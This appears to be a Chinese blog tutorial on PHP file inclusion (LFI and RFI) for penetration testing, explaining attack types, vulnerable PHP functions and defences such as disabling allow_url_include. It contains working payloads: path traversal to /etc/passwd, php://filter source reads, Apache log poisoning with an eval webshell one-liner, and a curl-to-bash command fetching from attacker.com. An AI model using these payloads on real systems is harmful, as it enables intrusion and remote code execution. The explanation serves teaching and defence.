渗透测试之文件包含漏洞 超详细的文件包含漏洞文章
目录
说明
通常分为两种类型:
本地文件包含
典型的攻击方式1:
影响:
典型的攻击方式2:
包含路径解释:
日志包含漏洞:
操作原理
包含漏洞读取文件
文件包含漏洞远程代码执行漏洞:
远程文件包含
典型的攻击方式:
影响:
文件包含漏洞的根本原因
语言包含漏洞
PHP文件包含漏洞函数
文件包含漏洞相关的常见 PHP 函数
1. include() 和 require()
2. include_once() 和 require_once()
3. fopen() 和 fread()
4. file_get_contents()
5. readfile()
6. highlight_file()
7. fpassthru()
总结
防御措施
输入验证与过滤:
禁用远程文件包含:
使用绝对路径:
文件包含路径限制:
日志记录与监控:
代码审计与渗透测试:
总结
说明
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,它允许攻击者通过修改文件路径,包含服务器上未经授权的文件,可能导致敏感信息泄露、代码执行或服务器被入侵。根据文件包含的行为
通常分为两种类型:
- 本地文件包含(LFI)
- 远程文件包含(RFI)
本地文件包含
- LFI 是指攻击者能够包含和执行服务器本地文件系统中的文件
攻击者通过修改程序中的文件路径参数,访问并读取本地文件(如配置文件、日志文件、甚至敏感的系统文件),有时也能执行恶意文件。
典型的攻击方式1:
- 攻击者通过修改 URL 参数来试图包含本地文件
- 例如:
http://example.com/index.php?page=../../../../etc/passwd
- 在这个例子中
攻击者试图通过“
../../../../etc/passwd
”来访问服务器上的/etc/passwd
文件(Unix/Linux 系统中的一个存储用户账户信息的文件)。
影响:
- 信息泄露:攻击者能够查看服务器上的敏感文件(如配置文件、日志文件、密码文件等)。
- 路径遍历攻击:攻击者可以通过构造特殊的路径,访问并查看不应公开的文件。
- 恶意文件执行:如果不当配置或存在缺陷,攻击者甚至可以包含可执行文件进行代码执行。
典型的攻击方式2:
- 用户输入控制: 应用程序允许用户通过URL参数或其他输入来指定文件路径。例如:
<?php
include($_GET['page']);
?>
这种代码会根据用户传入的page
参数来包含文件。
包含路径解释:
-
绝对路径包含
-
相对路径包含
-
文件穿越漏洞
-
包含一些图片吗进行控制 包含敏感文件读取出来
-
远程文件包包含,另外一个网站 得文件,其它网站得文件包含进来。
-
直接引用别人得网站得图片 前提是看别人开启了相关参数没。
日志包含漏洞:
- 日志包含漏洞是指攻击者通过注入恶意内容到日志文件中,可能会破坏日志文件的完整性,或通过日志文件将恶意代码执行。
- 攻击者可以伪造日志,或在日志中插入恶意的HTTP头、SQL注入等攻击代码,进而进行进一步的攻击。
操作原理
当某个PHP文件存在本地包含漏洞,而却无法上传正常文件.
这就意味着有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵.
Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志)。
apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中
前提开启了日志记录功能 apache 其实还是需要指纹收集收到日志目录的位置
其实这种方式就是把木马直接写入到日志文件中.
在访问网站得时候 加入木马程序 也就是在访问程序得时候加入一句话木马相关程序 这样就会写入到程序中去了
蚁箭 冰蝎 连接程序 Winwos程序中都有一句话木马程序 连接
http://192.168.1.9/dvwa/vulnerabilities/fi/?page=../../../../Apache\logs\access.log 写入后再访问 就可以通过日志进行访问
1浏览器日志 记录可能会编译成url编码
2通过抓包 也就会变成正常得编码记录到日志 然后访问日志目录就可以进入文件包含漏洞进行入侵。
- 记录下php得一句话木马程序写法
- 写入一句话木马 通过蚁箭连接不上 换个方式写入php一句话木马
- <?php $file=fopen('jaden.php','w');fputs($file,'<?php @eval($_POST[666]);?>');?>
- 数据存在于存在与执行得目录中 jaden.php
- 问题: 我们在实际操作得时候 如何确定日志是空 如何找到对应日志目录 指纹收集
包含漏洞读取文件
读取php文件 包含就能读取:
-
采用得是file:///协议
-
读取php文件不想执行
-
Php:/// 读取文件 指定php协议来读取协议
-
http://192.168.1.9/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file4.php
-
以base64得数据格式进行读取出来
-
- 通过文件包含漏洞利用
file://
伪协议读取文件是一种常见的攻击手段,特别是当Web应用程序允许通过用户输入指定文件路径时。- 攻击者可以利用这种方式绕过某些安全控制,从而读取本地文件(例如
/etc/passwd
或其他敏感文件),或者执行路径遍历攻击来获取服务器上的敏感信息。- file:///etc/passwd
文件包含漏洞远程代码执行漏洞:
- 文件包含漏洞(File Inclusion Vulnerability)如果结合远程文件包含(Remote File Inclusion, RFI)和不当的配置或攻击者操控的输入
- 可能导致远程代码执行漏洞(Remote Code Execution, RCE)
- 在这种情况下,攻击者不仅能读取文件,还能执行恶意代码,导致严重的安全问题。
-
服务端存在包含漏洞
-
也就是通过include(php://input) 进行执行而不是用文件进行执行
-
执行得命令
-
Php://input 执行过程
<?php
system('curl -s http://attacker.com/malicious_script.sh | bash');
?>
远程文件包含
- RFI 是指攻击者能够通过包含远程的恶意文件来攻击网站
通常情况下,RFI 涉及到文件路径中包含 URL,允许攻击者从外部服务器加载并执行恶意脚本。
典型的攻击方式:
- 攻击者通过修改 URL 中的参数,将远程服务器上的恶意文件包含到服务器中:
http://example.com/index.php?page=http://evil.com/malicious_script.php
- 在这个例子中
- 攻击者试图加载并执行远程服务器上的
malicious_script.php
文件- 可能执行恶意操作,比如执行反向 shell、窃取数据、或劫持服务器
- 比如说我们本地搭建了一个程序 编写了一个webshell,然后通过远程文件包含漏洞访问本地搭建的服务中的webshell文件,实现对肉鸡的控制。
影响:
- 远程代码执行:攻击者能够远程执行恶意代码,这可能导致服务器完全被控制。
- 网站篡改:攻击者可能通过上传恶意脚本,篡改网站内容或窃取用户信息。
- 数据泄露:攻击者可通过包含恶意文件窃取数据库连接信息或其他敏感数据。
文件包含漏洞的根本原因
- 用户输入未严格验证:文件路径参数或 URL 没有经过充分的验证和过滤,允许攻击者修改路径。
- 不当的文件处理逻辑:代码未对文件包含操作进行适当的权限控制或路径限制,导致攻击者能够访问和执行敏感文件。
- 缺乏安全配置:服务器未启用适当的配置,例如禁止远程文件包含(RFI),或没有禁用危险函数(如
include
,require
,fopen
等)。
语言包含漏洞
-
包含操作,在大多数Web语言中都会提供的功能
-
但PHP对于包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在PHP语言中,这也就导致了出现了一个错误现状
-
很多初学者认为包含漏洞只出现PHP任何语言都会存在文件包含的漏洞.
-
公共代码封装在专门的文件类中 也就是封装的一个概念 引入其它封装的条件
-
Import-python 也就是代码漏洞
-
针对不同的语言 比如说 go php java python 也就是对应相关的函数
PHP文件包含漏洞函数
- PHP 作为一种常用的 Web 编程语言,具有一些常用的函数,这些函数可以导致文件包含漏洞,尤其在没有进行严格的输入验证时。
文件包含漏洞相关的常见 PHP 函数
1. include()
和 require()
功能:
include()
和require()
用于将文件引入当前 PHP 文件并执行。include()
在文件不可用时会发出警告(warning)- 而
require()
会发出致命错误(fatal error)并停止执行。
安全隐患:
include($_GET['page']);
// 如果未进行过滤,攻击者可以传递恶意的文件路径,如 '../../etc/passwd'
如果传入的文件路径(参数)未经过严格验证,攻击者可能利用路径遍历(
../../
)或者远程文件包含攻击,加载敏感文件或远程恶意文件。
2. include_once()
和 require_once()
功能:
- 与
include()
和require()
相同,但它们确保文件只会被包含一次,避免重复包含文件导致的错误。
安全隐患:
- 如果传入的文件路径不被验证,攻击者依然可以通过路径遍历或远程文件包含攻击来操控文件包含。
3. fopen()
和 fread()
功能:
fopen()
打开文件,fread()
读取文件内容,通常用于读取文本或二进制文件内容。
安全隐患:
$file = fopen($_GET['file'], "r"); // 如果未验证,攻击者可以操控路径读取文件
- 如果文件路径未经过验证,攻击者可以读取服务器上的敏感文件或恶意文件。
4. file_get_contents()
功能:
file_get_contents()
用于读取文件内容并将其作为字符串返回。
安全隐患:
$content = file_get_contents($_GET['file']);
如果参数为用户输入的文件路径或 URL,攻击者可以通过路径遍历或远程文件包含攻击来读取本地或远程恶意文件。
5. readfile()
功能:
readfile()
输出文件内容到浏览器,通常用于直接输出文件内容。
安全隐患:
readfile($_GET['file']);
攻击者可以通过路径遍历攻击或包含远程文件,输出敏感文件内容或恶意代码。
6. highlight_file()
功能:
highlight_file()
输出 PHP 源代码并对其进行语法高亮显示。
安全隐患:
highlight_file($_GET['file']);
如果没有限制或验证,攻击者可以通过该函数查看服务器上任意 PHP 文件的源代码,可能泄露敏感信息。
7. fpassthru()
功能:
fpassthru()
函数读取并直接输出文件的内容,通常与 fopen()
配合使用。
安全隐患:
$file = fopen($_GET['file'], "r");
fpassthru($file);
与
fread()
和file_get_contents()
类似,如果文件路径未被验证,攻击者可以利用该函数读取并输出敏感文件内容。
总结
PHP 中的文件包含函数(如 include()
、require()
、fopen()
等)是文件包含漏洞的核心来源,尤其在未严格验证用户输入时,容易导致路径遍历、远程文件包含(RFI)或本地文件包含(LFI)攻击。防御这种漏洞的关键是:
- 严格控制文件路径参数的来源和内容;
- 禁用不必要的功能(如远程文件包含);
- 采用绝对路径、白名单、权限控制等手段限制文件的访问范围。
防御措施
-
输入验证与过滤:
- 对所有用户输入的文件路径参数进行严格的过滤和验证,拒绝任何可能导致路径遍历(如
../
)的输入。 - 使用白名单机制,限制只能包含特定目录下的文件。
- 对所有用户输入的文件路径参数进行严格的过滤和验证,拒绝任何可能导致路径遍历(如
-
禁用远程文件包含:
- 在 PHP 中,禁用
allow_url_include
和allow_url_fopen
,防止包含远程文件。 - 设置
open_basedir
,限制 PHP 程序只能访问特定目录下的文件。
- 在 PHP 中,禁用
-
使用绝对路径:
- 避免使用用户提供的路径参数来构建文件路径。尽量使用固定的路径或基于配置的安全路径。
-
文件包含路径限制:
- 使用
basename()
或类似的函数确保包含的文件不会遍历目录结构。 - 对于包含的文件,最好限定在特定的目录内,避免通过路径构造访问任意文件。
- 使用
-
日志记录与监控:
- 配置 Web 服务器和应用程序进行日志记录,监控异常的文件包含请求。
- 设置警报机制,及时发现潜在的文件包含攻击。
-
代码审计与渗透测试:
- 定期进行代码审计,检查可能存在文件包含漏洞的地方。
- 使用自动化工具进行渗透测试,模拟文件包含攻击,查找漏洞。
总结
文件包含漏洞是一个相对常见且危险的安全问题,尤其在动态网页系统中,由于代码没有对外部输入进行有效的验证,攻击者可以通过文件包含漏洞来执行恶意代码或泄露敏感数据。防御这种漏洞的关键在于对用户输入的严格验证、文件路径的严格控制以及远程文件包含的禁用。
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。
相关文章:
渗透测试之文件包含漏洞 超详细的文件包含漏洞文章
目录 说明 通常分为两种类型: 本地文件包含 典型的攻击方式1: 影响: 典型的攻击方式2: 包含路径解释: 日志包含漏洞: 操作原理 包含漏洞读取文件 文件包含漏洞远程代码执行漏洞: 远程文件包含…...
高性能 :DeepSeek-V3 inference 推理时反量化实现 fp8_cast_bf16
FP8 (8 bits) & FP16 (16 bits) FP8 和 BF16 都是浮点数格式(floating-point formats),float通过科学计数法表示数据,float [符号位指数位系数位] FP8 (8 bits):SEEEMMMMFP16 (16 bits):SEEEEEMMMMM…...
kakailio官网推荐的安装流程ubuntu 22.04
https://kamailio.org/docs/tutorials/6.0.x/kamailio-install-guide-git/ # 非必须项 wget -O- https://deb.kamailio.org/kamailiodebkey.gpg | gpg --dearmor | sudo tee /usr/share/keyrings/kamailio.gpg在/etc/apt/sources.list文件追加以下内容 deb [signed-by/usr/sh…...
能否通过蓝牙建立TCP/IP连接来传输数据
前言: 最近在做一个项目时,产生了一个疑问:能否通过蓝牙建立TCP/IP连接来传输数据 查阅了一些文章,可以得出结论:不行 下面是我截取的两篇个人认可的文章的回答: 文章一: 蓝牙是一种短距离无…...
git基础使用--1--版本控制的基本概念
文章目录 git基础使用--1--版本控制的基本概念1.版本控制的需求背景,即为啥需要版本控制2. 集中式版本控制SVN3. 分布式版本控制 Git4. SVN和Git的比较 git基础使用–1–版本控制的基本概念 1.版本控制的需求背景,即为啥需要版本控制 先说啥叫版本&…...
高端入门:Ollama 本地高效部署DeepSeek模型深度搜索解决方案
目录 一、Ollama 介绍 二、Ollama下载 2.1 官网下载 2.2 GitHub下载 三、模型库 四、Ollmal 使用 4.1 模型运行(下载) 4.2 模型提问 五、Ollama 常用命令 相关推荐 一、Ollama 介绍 Ollama是一个专为在本地机器上便捷部署和运行大型语言模型&…...
高级java每日一道面试题-2025年01月30日-框架篇[SpringBoot篇]-如何理解 Spring Boot 配置加载顺序 ?
如果有遗漏,评论区告诉我进行补充 面试官: 如何理解 Spring Boot 配置加载顺序 ? 我回答: 在 Java 高级面试中讨论 Spring Boot 配置加载顺序时,理解其机制对于有效管理和调试应用程序配置至关重要。Spring Boot 通过一系列预定义的规则来确定如何加载和覆盖配置…...
代码随想录day06
242.有效的字母异位词 刚学哈希表想着使用unordered_set来实现,结果无法通过,原因是对字母异位词理解有问题,字母异位词是通过重新排列不同单词或短语的字母而形成的单词或短语,并使用所有原字母一次。对字母出现的次数有要求&am…...
C#常用744单词
1.visual 可见的 2.studio 工作室 3.dot 点 4.net 网 5.harp 尖端的,锋利的。 6.amework 骨架,构架,框架 7.beta 测试版,试用版 8.XML(全称:eXtensible Markup Language)…...
14.PPT:中国注册税务师协会宣传【26】
目录 NO12 NO3/4/5 NO678 【文本框水平/垂直居中】【文本框内容水平/垂直居中】 NO12 坑:注意❗Word文档的PPt素材.docx的标题大纲是混乱的,虽然他设置了,所以我们需要重新设置 设计→主题视图→幻灯片母版→删除版式插入logo NO3/4…...
Python大数据可视化:基于Python的王者荣耀战队的数据分析系统设计与实现_flask+hadoop+spider
开发语言:Python框架:flaskPython版本:python3.7.7数据库:mysql 5.7数据库工具:Navicat11开发软件:PyCharm 系统展示 管理员登录 管理员功能界面 比赛信息管理 看板展示 系统管理 摘要 本文使用Python与…...
简单3步部署本地国产大模型DeepSeek大模型
简单3步部署本地国产大模型DeepSeek大模型 DeepSeek是最近非常火的开源大模型,国产大模型 DeepSeek 凭借其优异的性能和对硬件资源的友好性,受到了众多开发者的关注。 无奈,在使用时候deepseek总是提示服务器繁忙,请稍后再试。 …...
Redis常见数据类型与编码方式
⭐️前言⭐️ 本小节围绕Redis中常见的数据类型与编码方式展开。 🍉欢迎点赞 👍 收藏 ⭐留言评论 🍉博主将持续更新学习记录收获,友友们有任何问题可以在评论区留言 🍉博客中涉及源码及博主日常练习代码均已上传GitHu…...
利用matlab寻找矩阵中最大值及其位置
目录 一、问题描述1.1 max函数用法1.2 MATLAB中 : : :的作用1.3 ind2sub函数用法 二、实现方法2.1 方法一:max和find2.2 方法二:max和ind2sub2.3 方法对比 三、参考文献 一、问题描述 matlab中求最大值可使用函数max,对于一维向量࿰…...
解锁云电脑爽玩TGA游戏,ToDesk、海马云等多款云电脑游戏横测
作为一名游戏爱好者,我深入研究了云电脑技术在游戏娱乐中的应用。通过对比传统游戏机与云电脑的成本效益,我发现云电脑以其低成本和灵活性脱颖而出。我以自身为例,分析了云电脑如何满足对游戏体验的高要求。在测评中,我选择了ToDe…...
蓝桥杯思维训练(五)
文章目录 子集II1191.K次串联后最大子数组之和 子集II 子集II 思路分析: 求解子集的问题的关键就是,通过递归与回溯,我们就是得确定以某个元素开始的子集,对于这个题目来说,比较麻烦的一点就是,存在重复的…...
kaggle视频行为分析1st and Future - Player Contact Detection
这次比赛的目标是检测美式橄榄球NFL比赛中球员经历的外部接触。您将使用视频和球员追踪数据来识别发生接触的时刻,以帮助提高球员的安全。两种接触,一种是人与人的,另一种是人与地面,不包括脚底和地面的,跟我之前做的这…...
2025 CCF BDCI|“基于TPU平台的OCR模型性能优化”一等奖作品
2024年12月,中国计算机学会在海南博鳌成功举办了第十二届CCF大数据与计算智能大赛(简称2024 CCF BDCI)。本届比赛的算能赛道吸引了1748名选手报名,经过激烈角逐,北京航空航天大学的“常务副SOTA”团队脱颖而出…...
结合深度学习、自然语言处理(NLP)与多准则决策的三阶段技术框架,旨在实现从消费者情感分析到个性化决策
针对电商个性化推荐场景的集成机器学习和稳健优化三阶段方案。 第一阶段:在线评论数据处理,利用深度学习和自然语言处理技术进行特征挖掘,进而进行消费者情感分析,得到消费者偏好 在第一阶段,我们主要关注如何通过深度学习和自然语…...
Linux系统安装Nginx详解(适用于CentOS 7)
目录 1. 更新系统包 2. 安装EPEL仓库 3. 安装Nginx 4. 启动Nginx服务 5. 设置Nginx开机自启 6. 检查Nginx状态 7. 配置防火墙 8. 访问Nginx默认页面 9. 配置Nginx(可选) 10. 重启Nginx 解决步骤 1. 检查系统版本 2. 移除错误的 Nginx 仓库 …...
Qt常用控件 输入类控件
文章目录 1.QLineEdit1.1 常用属性1.2 常用信号1.3 例子1,录入用户信息1.4 例子2,正则验证手机号1.5 例子3,验证输入的密码1.6 例子4,显示密码 2. QTextEdit2.1 常用属性2.2 常用信号2.3 例子1,获取输入框的内容2.4 例…...
[LeetCode]全排列I,II
全排列I 给定一个不含重复数字的整数数组 nums ,返回其 所有可能的全排列 。可以 按任意顺序 返回答案。 示例 1: 输入:nums [1,2,3] 输出:[[1,2,3],[1,3,2],[2,1,3],[2,3,1],[3,1,2],[3,2,1]]示例 2: 输入࿱…...
力扣.270. 最接近的二叉搜索树值(中序遍历思想)
文章目录 题目描述思路复杂度Code 题目描述 思路 遍历思想(利用二叉树的中序遍历) 本题的难点在于可能存在多个答案,并且要返回最小的那一个,为了解决这个问题,我门则要利用上二叉搜索树中序遍历为有序序列的特性,具体到代码中&a…...
Spring 核心技术解析【纯干货版】- VIII:Spring 数据访问模块 Spring-Tx 模块精讲
在企业级开发中,事务管理是保障数据一致性和完整性的重要手段。Spring 作为 Java 生态中广泛使用的框架,其事务管理模块(Spring-Tx)不仅提供了强大的功能,还极大地简化了开发者在不同技术栈中的事务处理工作。无论是编…...
Vue混入(Mixins)与插件开发深度解析
Vue混入(Mixins)与插件开发深度解析 Vue混入(Mixins)与插件开发深度解析1. Vue混入(Mixins)核心概念1.1 什么是混入1.1.1 本质定义与技术定位1.1.2 混入与相关概念的对比1.1.3 适用场景分析1.1.4 设计哲学与…...
Linux里的容器被OOM killed的两种情况
生产上遇到过几次容器实例被OOM的现象,总结一下LInux OOM的两种触发条件。我的虚拟机是ubuntu 24.0.4版本,分配4G内存,在我的虚拟机上复现这两种case。 一 宿主机物理内存不够 当linux上所有应用程序的内存需求加起来超出了物理内存&#x…...
十一、CentOS Stream 9 安装 Docker
一、Docker 环境安装 1、软件源(仓库)信息 使用如下命令可列出当前系统配置的所有软件源(仓库)信息 # 列出所有软件源 dnf repolist 这表明系统有三个仓库 AppStream 、 BaseOS、Extras-Common 被启用 2、配置软件源镜像 使用如下命令可配置 Docker 软件包下载的镜像地址 …...
【数据结构】链表应用-链表重新排序
重新排序 反转链表预期实现思路解题过程code力扣代码核心代码完整代码 总结 删除链表中间节点代码解惑 链表重新排序题目描述解题思路解题过程复杂度代码力扣代码完整代码 反转链表 预期实现 思路 你选用何种方法解题? 我选用了迭代法来反转链表。这是一种经典且高…...
e2studio开发RA2E1(9)----定时器GPT配置输入捕获
e2studio开发RA2E1.9--定时器GPT配置输入捕获 概述视频教学样品申请硬件准备参考程序源码下载选择计时器时钟源UART配置UART属性配置设置e2studio堆栈e2studio的重定向printf设置R_SCI_UART_Open()函数原型回调函数user_uart_callback ()printf输出重定向到串口定时器输入捕获配…...
qt使用MQTT协议连接阿里云demo
qt使用Mqtt协议连接阿里云。 在配置好qt关于MQTT的环境之后,主要就是根据MQTT的连接参数进行连接即可。 环境配置推荐链接QT编译并部署QtMqtt相关环境跑测demo【超详细教程】_mqtt qt开发教程-CSDN博客 连接核心代码,主要就是根据阿里云的MQTT相关参数进行配置实现连…...
Python分享20个Excel自动化脚本
在数据处理和分析的过程中,Excel文件是我们日常工作中常见的格式。通过Python,我们可以实现对Excel文件的各种自动化操作,提高工作效率。 本文将分享20个实用的Excel自动化脚本,以帮助新手小白更轻松地掌握这些技能。 1. Excel单…...
DNN(深度神经网络)近似 Lyapunov 函数
import torch import torch.nn as nn import torch.optim as optim import matplotlib.pyplot as plt # from torchviz import make_dot import torchviz# 1. Lyapunov 函数近似器(MLP 结构) class LyapunovNet(nn.Module):def __init__(self, input_dim…...
什么是数据库代理
数据库代理(DB Proxy)是一种位于应用程序和数据库服务器之间的中间件,充当两者之间的“中间人”。它的核心目标是优化数据库访问、提升性能、增强安全性,并简化数据库架构的复杂度,尤其在高并发、分布式或云环境中应用…...
深入浅出 DeepSeek V2 高效的MoE语言模型
今天,我们来聊聊 DeepSeek V2 高效的 MoE 语言模型,带大家一起深入理解这篇论文的精髓,同时,告诉大家如何将这些概念应用到实际中。 🌟 什么是 MoE?——Mixture of Experts(专家混合模型&#x…...
【创建模式-单例模式(Singleton Pattern)】
赐萧瑀 实现方案饿汉模式懒汉式(非线程安全)懒汉模式(线程安全)双重检查锁定静态内部类 攻击方式序列化攻击反射攻击 枚举(最佳实践)枚举是一种类 唐 李世民 疾风知劲草,板荡识诚臣。 勇夫安识义,智者必怀仁…...
计算机毕业设计Python+Vue.js游戏推荐系统 Steam游戏推荐系统 Django Flask 游 戏可视化 游戏数据分析 游戏大数据 爬虫
温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…...
6. 【Vue实战--孢子记账--Web 版开发】-- 主币种设置
从这篇文章开始我们将一起实现孢子记账的功能,这篇文章实现主币种设置。这个功能比较简单,因此我们从这个功能开始做。 一、功能 根据项目前期的需求调研,用户需要在设置主币种的时候查看汇率信息(别问为什么有这么个需求&#…...
RabbitMQ深度探索:前置知识
消息中间件: 消息中间件基于队列模式实现异步 / 同步传输数据作用:可以实现支撑高并发、异步解耦、流量削峰、降低耦合 传统的 HTTP 请求存在的缺点: HTTP 请求基于响应的模型,在高并发的情况下,客户端发送大量的请求…...
【文件上传、秒传、分片上传、断点续传、重传】
文章目录 获取文件对象文件上传(秒传、分片上传、断点续传、重传)优化 获取文件对象 input标签的onchange方法接收到的参数就是用户上传的所有文件 <html lang"en"><head><title>文件上传</title><style>#inp…...
设计模式Python版 组合模式
文章目录 前言一、组合模式二、组合模式实现方式三、组合模式示例四、组合模式在Django中的应用 前言 GOF设计模式分三大类: 创建型模式:关注对象的创建过程,包括单例模式、简单工厂模式、工厂方法模式、抽象工厂模式、原型模式和建造者模式…...
python开发:爬虫示例——GET和POST请求处理
一、Get请求 import json import requests#输入示例:urlhttps://www.baidu.com #RequestHeader:F12标头-请求标头-原始-复制到这(忽略第一句) def GetRequest(url,RequestHeader""):try:dic{}RequestHeaderList RequestHeader.s…...
【3分钟极速部署】在本地快速部署deepseek
第一步,找到网站,下载: 首先找到Ollama , 根据自己的电脑下载对应的版本 。 我个人用的是Windows 我就先尝试用Windows版本了 ,文件不是很大,下载也比较的快 第二部就是安装了 : 安装完成后提示…...
【归属地】批量号码归属地查询按城市高速的分流,基于WPF的解决方案
在现代商业活动中,企业为了提高营销效果和资源利用效率,需要针对不同地区的市场特点开展精准营销。通过批量号码归属地查询并按城市分流,可以为企业的营销决策提供有力支持。 短信营销:一家连锁餐饮企业计划开展促销活动…...
大数据sql查询速度慢有哪些原因
1.索引问题 可能缺少索引,也有可能是索引不生效 2.连接数配置:连接数过少/连接池比较小 连接数过 3.sql本身有问题,响应比较慢,比如多表 4.数据量比较大 -这种最好采用分表设计 或分批查询 5.缓存池大小 可能是缓存问题ÿ…...
安卓路由与aop 以及 Router-api
安卓路由(Android Router)和AOP(面向切面编程)是两个在Android开发中常用的概念。下面我将详细讲解这两个概念及其在Android开发中的应用。 一、安卓路由 安卓路由主要用于在应用程序中管理不同组件之间的导航和通信。它可以简化…...
游戏引擎学习第89天
回顾 由于一直没有渲染器,终于决定开始动手做一个渲染器,虽然开始时并不确定该如何进行,但一旦开始做,发现这其实是正确的决定。因此,接下来可能会花一到两周的时间来编写渲染器,甚至可能更长时间…...
备战蓝桥杯-洛谷
今天打算写一些洛谷上面的题目 P10904 [蓝桥杯 2024 省 C] 挖矿 https://www.luogu.com.cn/problem/P10904 看了大佬写的题解才写出来这道题的:题解:P10904 [蓝桥杯 2024 省 C] 挖矿 - 洛谷专栏 思路: 这是一道贪心的题目,用…...
动手学图神经网络(9):利用图神经网络进行节点分类 WeightsBiases
利用图神经网络进行节点分类Weights&Biases 引言 在本篇博客中,将深入探讨如何使用图神经网络(GNNs)来完成节点分类任务。以 Cora 数据集为例,该数据集是一个引用网络,节点代表文档,推断每个文档的类别。同时,使用 Weights & Biases(W&B)来跟踪实验过程和…...
如何在 FastAPI 中使用本地资源自定义 Swagger UI
要自定义 FastAPI 中的 Swagger UI,且使用本地资源来代替 CDN。只是需要稍微修改一下。 修改后的代码: 步骤: 挂载本地静态文件目录:我们将本地的 Swagger UI 资源文件(如 .js, .css, favicon.png 等)放…...
Swift 进阶:Observation 框架中可观察(@Observable)对象的高级操作(上)
概述 在 WWDC 24 中苹果推出了全新的 Observation 框架,借助于它我们可以更加细粒度的监听可观察(@Observable)对象 。同时,SwiftUI 自身也与时偕行开始全面支持 @Observable 对象的“嵌入”。 然而在这里,我们却另辟蹊径来介绍 @Observable 对象另外一些“鲜为人知”的故…...